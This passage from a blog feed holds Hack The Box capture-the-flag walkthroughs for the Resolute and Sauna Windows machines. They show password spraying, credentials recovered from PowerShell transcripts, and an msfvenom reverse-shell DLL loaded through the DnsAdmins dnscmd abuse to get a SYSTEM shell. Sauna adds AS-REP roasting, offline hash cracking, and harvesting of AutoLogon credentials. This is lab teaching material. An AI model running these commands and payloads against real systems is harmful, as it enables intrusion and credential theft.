<br>index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail      Name: (null)    Desc: (null)                                                                          <br>index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)    Desc: Built-in account for administering the computer/domain<br>index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela       Name: (null)    Desc: (null)<br><br>...snip...<br><br>index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus       Name: (null)    Desc: (null)<br>index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak       Desc: Account created. Password set to W..redacted..!<br>index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie      Name: (null)    Desc: (null)<br>index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki        Name: (null)    Desc: (null)<br><br>...snip...<br><br>index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null)    Desc: (null)<br><br>user:[Administrator] rid:[0x1f4]<br>user:[Guest] rid:[0x1f5]<br>user:[krbtgt] rid:[0x1f6]<br>user:[DefaultAccount] rid:[0x1f7]<br>user:[ryan] rid:[0x451]<br>user:[marko] rid:[0x457]<br>user:[sunita] rid:[0x19c9]<br>user:[abigail] rid:[0x19ca]<br>user:[marcus] rid:[0x19cb]<br>user:[sally] rid:[0x19cc]<br>user:[fred] rid:[0x19cd]<br>user:[angela] rid:[0x19ce]<br>user:[felicia] rid:[0x19cf]<br>user:[gustavo] rid:[0x19d0]<br>user:[ulf] rid:[0x19d1]<br>user:[stevie] rid:[0x19d2]<br>user:[claire] rid:[0x19d3]<br>user:[paulo] rid:[0x19d4]<br>user:[steve] rid:[0x19d5]<br>user:[annette] rid:[0x19d6]<br>user:[annika] rid:[0x19d7]<br>user:[per] rid:[0x19d8]<br>user:[claude] rid:[0x19d9]<br>user:[melanie] rid:[0x2775]<br>user:[zach] rid:[0x2776]<br>user:[simon] rid:[0x2777]<br>user:[naoki] rid:[0x2778]<br>enum4linux complete on Wed Jul 24 21:50:52 2024</pre><p>Now, let’s save the username to a file as it can be used to enumerate the system. Upon login with the username, it is unsuccessful.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/resolute]<br>└─$ evil-winrm -u ryan -i 10.129.96.155<br>Password:<br><br>Evil-WinRM shell v3.4<br><br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br><br>Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br><br>Info: Establishing connection to remote endpoint<br><br>Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError<br><br>Error: Exiting with code 1</pre><p>Let’s check if any other users have same password as well.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/resolute]<br>└─$ crackmapexec smb megabank.local -u userlist -p cred                                                                                                               <br>/usr/lib/python3/dist-packages/paramiko/transport.py:236: CryptographyDeprecationWarning: Blowfish has been deprecated<br>  &quot;class&quot;: algorithms.Blowfish,<br>/usr/lib/python3/dist-packages/pywerview/requester.py:144: SyntaxWarning: &quot;is not&quot; with a literal. Did you mean &quot;!=&quot;?<br>  if result[&#39;type&#39;] is not &#39;searchResEntry&#39;:<br>SMB         megabank.local  445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)<br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\Administrator:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\Guest:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\krbtgt:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\DefaultAccount:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\ryan:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\marko:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\sunita:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\abigail:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\marcus:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\sally:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\fred:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\angela:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\felicia:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\gustavo:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\ulf:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\stevie:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\claire:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\paulo:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\steve:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\annette:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\annika:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\per:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [-] megabank.local\claude:W..redacted..! STATUS_LOGON_FAILURE <br>SMB         megabank.local  445    RESOLUTE         [+] megabank.local\melanie:W..redacted..! <br><br></pre><p>Let’s try to login to the system.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/resolute]<br>└─$ evil-winrm -u melanie -i 10.129.96.155<br>Password:<br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\melanie\Documents&gt; cat ../Desktop/user.txt<br>6152f74e510eb1c7ffebc229cea814ce<br>*Evil-WinRM* PS C:\Users\melanie\Documents&gt; </pre><p>Upon searching the relation between systems and our owned user no valuable information was found. Winpeas script even didn’t give any valuable information. After a long search, found a <strong>hidden folder</strong> in C:\ drive which had a folder named <strong>PStranscripts</strong> that contains a powershell transcript. In the file it contains the password for <strong>ryan.</strong></p><pre>*Evil-WinRM* PS C:\PS..redacted..pts\20...203&gt; cat Pow..redacted..01.txt<br>**********************<br>Windows PowerShell transcript start<br>Start time: 20191203063201<br>Username: MEGABANK\ryan<br>RunAs User: MEGABANK\ryan<br>Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)<br>Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding<br>Process ID: 2800<br>PSVersion: 5.1.14393.2273<br>PSEdition: Desktop<br>PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273<br>BuildVersion: 10.0.14393.2273<br>CLRVersion: 4.0.30319.42000<br>WSManStackVersion: 3.0<br>PSRemotingProtocolVersion: 2.3<br>SerializationVersion: 1.1.0.1<br>**********************<br>Command start time: 20191203063455<br>**********************<br>PS&gt;TerminatingError(): &quot;System error.&quot;<br>&gt;&gt; CommandInvocation(Invoke-Expression): &quot;Invoke-Expression&quot;<br>&gt;&gt; ParameterBinding(Invoke-Expression): name=&quot;Command&quot;; value=&quot;-join($id,&#39;PS &#39;,$(whoami),&#39;@&#39;,$env:computername,&#39; &#39;,$((gi $pwd).Name),&#39;&gt; &#39;)<br>if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }&quot;<br>&gt;&gt; CommandInvocation(Out-String): &quot;Out-String&quot;<br>&gt;&gt; ParameterBinding(Out-String): name=&quot;Stream&quot;; value=&quot;True&quot;<br>**********************<br>Command start time: 20191203063455<br>**********************<br>PS&gt;ParameterBinding(Out-String): name=&quot;InputObject&quot;; value=&quot;PS megabank\ryan@RESOLUTE Documents&gt; &quot;<br>PS megabank\ryan@RESOLUTE Documents&gt;<br>**********************<br>Command start time: 20191203063515<br>**********************<br>PS&gt;CommandInvocation(Invoke-Expression): &quot;Invoke-Expression&quot;<br>&gt;&gt; ParameterBinding(Invoke-Expression): name=&quot;Command&quot;; value=&quot;cmd /c net use X: \\fs01\backups ryan S..redacted..3!<br><br>if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }&quot;<br>&gt;&gt; CommandInvocation(Out-String): &quot;Out-String&quot;<br>&gt;&gt; ParameterBinding(Out-String): name=&quot;Stream&quot;; value=&quot;True&quot;<br>**********************<br>Windows PowerShell transcript start<br>Start time: 20191203063515<br>Username: MEGABANK\ryan<br>RunAs User: MEGABANK\ryan<br>Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)<br>Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding<br>Process ID: 2800<br>PSVersion: 5.1.14393.2273<br>PSEdition: Desktop<br>PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273<br><br>..snip..</pre><p>Let’s login through that credentials.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/resolute]<br>└─$ evil-winrm -u ryan -i 10.129.96.155                                                                                                                                                      <br>Enter Password: <br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\ryan\Documents&gt;</pre><p>Let’s check privileges of the user.</p><pre>*Evil-WinRM* PS C:\Users\ryan\Documents&gt; whoami /all<br><br>USER INFORMATION<br>----------------<br><br>User Name     SID<br>============= ==============================================<br>megabank\ryan S-1-5-21-1392959593-3013219662-3596683436-1105<br><br><br>GROUP INFORMATION<br>-----------------<br><br>Group Name                                 Type             SID                                            Attributes<br>========================================== ================ ============================================== ===============================================================<br>Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group<br>BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group<br>BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group<br>BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group<br>MEGABANK\Contractors                       Group            S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group<br>MEGABANK\DnsAdmins                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group<br>NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group<br>Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192<br><br><br>PRIVILEGES INFORMATION<br>----------------------<br><br>Privilege Name                Description                    State<br>============================= ============================== =======<br>SeMachineAccountPrivilege     Add workstations to domain     Enabled<br>SeChangeNotifyPrivilege       Bypass traverse checking       Enabled<br>SeIncreaseWorkingSetPrivilege Increase a process working set Enabled<br><br><br>USER CLAIMS INFORMATION<br>-----------------------<br><br>User claims unknown.<br><br>Kerberos support for Dynamic Access Control on this device has been disabled.</pre><p>Since, Ryan is in <strong>DnsAdmins</strong> group and can be abused to escalate privilege to administrator according to <a href="https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2"><strong>this</strong></a> blog.</p><p>Let’s first create the payload and serve through SMB share in attacker system.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/resolute]<br>└─$ msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f dll &gt; privesc.dll<br>[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload<br>No encoder specified, outputting raw payload<br>Payload size: 460 bytes<br>Final size of dll file: 9216 bytes<br><br>┌──(shiva㉿shivamaharjan)-[~/htb/machines/resolute]<br>└─$ sudo impacket-smbserver hello ./<br>[sudo] password for shiva: <br>Impacket v0.11.0 - Copyright 2023 Fortra<br><br>[*] Config file parsed<br>[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0<br>[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0<br>[*] Config file parsed<br>[*] Config file parsed<br>[*] Config file parsed</pre><p>Now, let’s get the exploit to work from victim machine.</p><pre>*Evil-WinRM* PS C:\Users\ryan\Documents&gt; dnscmd 127.0.0.1 /config /serverlevelplugindll \\10.10.14.15\share\privesc.dll<br><br>Registry property serverlevelplugindll successfully reset.<br>Command completed successfully.<br><br>*Evil-WinRM* PS C:\Users\ryan\Documents&gt; sc.exe stop dns<br><br>SERVICE_NAME: dns<br>        TYPE               : 10  WIN32_OWN_PROCESS<br>        STATE              : 3  STOP_PENDING<br>                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)<br>        WIN32_EXIT_CODE    : 0  (0x0)<br>        SERVICE_EXIT_CODE  : 0  (0x0)<br>        CHECKPOINT         : 0x1<br>        WAIT_HINT          : 0x7530<br>*Evil-WinRM* PS C:\Users\ryan\Documents&gt; sc.exe start dns<br><br>SERVICE_NAME: dns<br>        TYPE               : 10  WIN32_OWN_PROCESS<br>        STATE              : 2  START_PENDING<br>                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)<br>        WIN32_EXIT_CODE    : 0  (0x0)<br>        SERVICE_EXIT_CODE  : 0  (0x0)<br>        CHECKPOINT         : 0x0<br>        WAIT_HINT          : 0x7d0<br>        PID                : 2868<br>        FLAGS              :<br>*Evil-WinRM* PS C:\Users\ryan\Documents&gt; </pre><p>Upon successful execution, reverse shell of admin can be captured.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/resolute]<br>└─$ rlwrap nc -lvp 4444<br>listening on [any] 4444 ...<br>connect to [10.10.14.15] from resolute.megabank.local [10.129.96.155] 53<br>Microsoft Windows [Version 10.0.14393]<br>(c) 2016 Microsoft Corporation. All rights reserved.<br><br>C:\Windows\system32&gt;whoami<br>whoami<br>nt authority\system<br><br>C:\Windows\system32&gt;type C:\users\administrator\desktop\root.txt<br>type C:\users\administrator\desktop\root.txt<br>9af2af2562887f90cceb310c1d1ec5d1<br><br>C:\Windows\system32&gt;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b32bafcb3ffb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sauna: HTB Walkthrough]]></title>
            <link>https://shivamaharjan.medium.com/sauna-htb-walkthrough-c78737036d0b?source=rss-e5c2e89f25d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/c78737036d0b</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[sauna]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <dc:creator><![CDATA[Shiva Maharjan]]></dc:creator>
            <pubDate>Wed, 24 Jul 2024 05:44:02 GMT</pubDate>
            <atom:updated>2024-07-24T05:44:02.175Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*OLH0OfiHAKeK81CEZZVjSg.png" /></figure><h3><strong>About Sauna</strong></h3><p>Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation. Possible usernames can be derived from employee full names listed on the website. With these usernames, an ASREPRoasting attack can be performed, which results in hash for an account that doesn’t require Kerberos pre-authentication. This hash can be subjected to an offline brute force attack, in order to recover the plaintext password for a user that is able to WinRM to the box. Running WinPEAS reveals that another system user has been configured to automatically login and it identifies their password. This second user also has Windows remote management permissions. BloodHound reveals that this user has the *DS-Replication-Get-Changes-All* extended right, which allows them to dump password hashes from the Domain Controller in a DCSync attack. Executing this attack returns the hash of the primary domain administrator, which can be used with Impacket psexec.py in order to gain a shell on the box as `NT_AUTHORITY\SYSTEM`.</p><h3>Things to learn:</h3><ol><li><a href="https://github.com/urbanadventurer/username-anarchy"><strong>username-anarchy</strong></a><strong>: </strong>Tools for generating usernames when penetration testing. <em>Usernames are half the password brute force problem.</em></li><li><a href="https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py"><strong>impacket-GetNPUsers</strong></a>: Helps to get information on any user that has Kerberos Pre-Auth Disabled which in turn gives back TGT that could be cracked if possible and then login to the system.</li><li><a href="https://github.com/dirkjanm/BloodHound.py"><strong>bloodhound-python</strong></a>: Helps to generate data on connection between system in an AD remotely.</li><li><strong>b</strong><a href="https://www.kali.org/tools/bloodhound/"><strong>loodhound</strong></a>: Helps to identify connections between different accounts, OU, forests, etc.</li><li><a href="https://github.com/fortra/impacket/blob/master/examples/secretsdump.py"><strong>impacket-secretdump</strong></a>: Help to dump hash value of users of the system.</li></ol><h3><strong>Enumeration</strong></h3><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/sauna]<br>└─$ cat sauna.nmap.port <br># Nmap 7.94SVN scan initiated Sun Jul 21 10:44:47 2024 as: nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49677,49696,49720 -oN sauna.nmap.port -sCV -vvv --min-rate 5000 10.129.95.180<br>Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex &#39;^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*&lt;title&gt;HP (Color |)LaserJet ([\w._ -]+)&amp;nbsp;&amp;nbsp;&amp;nbsp;&#39;<br>Nmap scan report for 10.129.95.180<br>Host is up, received syn-ack (0.10s latency).<br><br>PORT      STATE SERVICE       REASON  VERSION<br>53/tcp    open  domain        syn-ack Simple DNS Plus<br>80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0<br>| http-methods: <br>|   Supported Methods: OPTIONS TRACE GET HEAD POST<br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: Egotistical Bank :: Home<br>88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2024-07-14 11:59:55Z)<br>135/tcp   open  msrpc         syn-ack Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds? syn-ack<br>464/tcp   open  kpasswd5?     syn-ack<br>593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped    syn-ack<br>3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped    syn-ack<br>5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        syn-ack .NET Message Framing<br>49667/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49673/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>49674/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49677/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49696/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49720/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: 7h00m00s<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>| p2p-conficker: <br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 7734/tcp): CLEAN (Timeout)<br>|   Check 2 (port 63652/tcp): CLEAN (Timeout)<br>|   Check 3 (port 51839/udp): CLEAN (Timeout)<br>|   Check 4 (port 46409/udp): CLEAN (Timeout)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br>| smb2-time: <br>|   date: 2024-07-21T12:00:48<br>|_  start_date: N/A<br><br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br></pre><p>From above nmap scan, it can be seen that the <strong>domain name</strong> is <strong>EGOTISTICAL-BANK.local</strong>. Here, enum4linux didn’t give out any valuable information. So let’s dive into other endpoints.</p><p>By visiting the website’s about.html page, we could find a TEAM page that has some namelist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SNM5MzYpDgh8-hiG8hPzDA.png" /></figure><p>With the help of nameslist, <strong>usernames</strong> could be generated and used to enumerate the system. Why you say, it is stated in the webpage,</p><blockquote>Meet the team. So <strong>many bank account managers</strong> but only one <strong>security manager</strong>. Sounds about right!</blockquote><p>But it would be hard to guess how the system has created it’s usernames as there are different ways a company can create a username. Hence, a tool <a href="https://github.com/urbanadventurer/username-anarchy"><strong>Username Anarchy</strong></a><strong>, </strong>could be used to generate the usernames.</p><p>Lets put the namelist in the file and use the tool to generate usernames and then use that to brute the system to confirm if that’s the case.</p><pre>┌──(shiva㉿shivamaharjan)-[~/tools/windows_tools/username-anarchy]<br>└─$ ./username-anarchy -i team_names &gt; usernames.lst<br><br>┌──(shiva㉿shivamaharjan)-[~/tools/windows_tools/username-anarchy]<br>└─$ wc -l team_names                                                                                                                                                                                              <br>6 team_names<br><br>┌──(shiva㉿shivamaharjan)-[~/tools/windows_tools/username-anarchy]<br>└─$ wc -l usernames.lst                                                                                                                                   <br>88 usernames.lst</pre><p>So, <strong>88 usernames</strong> has been generated from <strong>6 name</strong>s.</p><p>Since, <strong>kerberos</strong> is open, it can be used to check if any user has<strong> </strong><a href="https://www.linkedin.com/pulse/kerberos-pre-auth-one-checkbox-can-mean-lot-darryl"><strong>Kerberos Pre-Auth</strong></a> is disabled or <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast#request-as_rep-message"><strong>AS-REP Roasting</strong></a> attack can be performed.</p><blockquote>What do we need for <strong>AS-REP Roasting</strong>?</blockquote><ol><li><strong>Usernames </strong>— check</li><li><strong>Domain name </strong>— check</li><li><strong>Domain ip </strong>— check</li></ol><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/sauna]<br>└─$ impacket-GetNPUsers EGOTISTICAL-BANK.local/ -usersfile usernames.lst -dc-ip 10.129.95.180 -request -format john -output kerbt<br>Impacket v0.11.0 - Copyright 2023 Fortra<br><br>[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)<br>[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)<br>[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)<br>[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)<br>[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)<br>[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)<br>[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)<br>$krb5asrep$..redacted..@EGOTISTICAL-BANK.LOCAL:cf119f8763263b4dc..redacted..7fe9eac27ed928<br>[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)<br>[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)<br>[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)</pre><p>A <strong>kerberos TGT </strong>has been replied. Let’s crack the <strong>TGT</strong> with the use of john as the reply was shown in <strong>johnTheRipper</strong> format.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/sauna]<br>└─$ john kerbt --wordlist=/usr/share/wordlists/rockyou.txt <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])<br>Will run 12 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>T..redacted..3     ($krb5asrep$..redacted..@EGOTISTICAL-BANK.LOCAL)     <br>1g 0:00:00:05 DONE (2024-07-24 10:39) 0.1683g/s 1774Kp/s 1774Kc/s 1774KC/s Tiffani1432..Thanongsuk_police<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><p>Let’s login to the system with the use of password and username.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/sauna]<br>└─$ evil-winrm -i 10.129.95.180 -u redacted   <br>Enter Password: <br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\redacted\Documents&gt; cat ../Desktop/user.txt<br>0fadc2aa5d280beb7b99d8c7bc2843c7<br>*Evil-WinRM* PS C:\Users\redacted\Documents&gt;</pre><p>Upon the use of <strong>winpeas</strong>, following data can be extracted.</p><pre>*Evil-WinRM* PS C:\Users\redacted\Documents&gt; upload winpeas.exe<br>                                        <br>Info: Uploading /home/shiva/htb/machines/sauna/winpeas.exe to C:\Users\redacted\Documents\winpeas.exe<br>                                        <br>Data: 2979840 bytes of 2979840 bytes copied<br>                                        <br>Info: Upload successful!<br>*Evil-WinRM* PS C:\Users\redacted\Documents&gt; ./winpeas.exe<br>ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run &#39;REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1&#39; and then start a new CMD<br>Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with &#39;REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1&#39; and then start a new CMD<br><br>               ((((((((((((((((((((((((((((((((                                                                                                                                                                   <br>        (((((((((((((((((((((((((((((((((((((((((((                                                                                                                                                               <br>      ((((((((((((((**********/##########(((((((((((((                                                                                                                                                            <br>    ((((((((((((********************/#######(((((((((((                                                                                                                                                           <br>    ((((((((******************/@@@@@/****######((((((((((                                                                                                                                                         <br>    ((((((********************@@@@@@@@@@/***,####((((((((((                                                                                                                                                       <br>    (((((********************/@@@@@%@@@@/********##(((((((((                                                                                                                                                      <br>    (((############*********/%@@@@@@@@@/************((((((((                                                                                                                                                      <br>    ((##################(/******/@@@@@/***************((((((                                                                                                                                                      <br>    ((#########################(/**********************(((((                                                                                                                                                      <br>    ((##############################(/*****************(((((                                                                                                                                                      <br>    ((###################################(/************(((((                                                                                                                                                      <br>    ((#######################################(*********(((((                                                                                                                                                      <br>    ((#######(,.***.,(###################(..***.*******(((((                                                                                                                                                      <br>    ((#######*(#####((##################((######/(*****(((((                                                                                                                                                      <br>    ((###################(/***********(##############()(((((                                                                                                                                                      <br>    (((#####################/*******(################)((((((                                                                                                                                                      <br>    ((((############################################)((((((                                                                                                                                                       <br>    (((((##########################################)(((((((                                                                                                                                                       <br>    ((((((########################################)(((((((                                                                                                                                                        <br>    ((((((((####################################)((((((((                                                                                                                                                         <br>    (((((((((#################################)(((((((((                                                                                                                                                          <br>        ((((((((((##########################)(((((((((                                                                                                                                                            <br>              ((((((((((((((((((((((((((((((((((((((                                                                                                                                                              <br>                 ((((((((((((((((((((((((((((((<br>....snip....<br>ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for AutoLogon credentials<br>    Some AutoLogon credentials were found<br>    DefaultDomainName             :  EGOTISTICALBANK<br>    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager<br>    DefaultPassword               :  Mo..redacted..nd!<br>....snip....</pre><p>Let’s get the <strong>relationship</strong> between the system with the use of <strong>bloodhound</strong>.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/sauna]                                                                                                                                                            <br>└─$ bloodhound-python -d Egotistical-bank.local -ns 10.129.95.180 -u fsmith -c All<br>Password:                                                                                                                                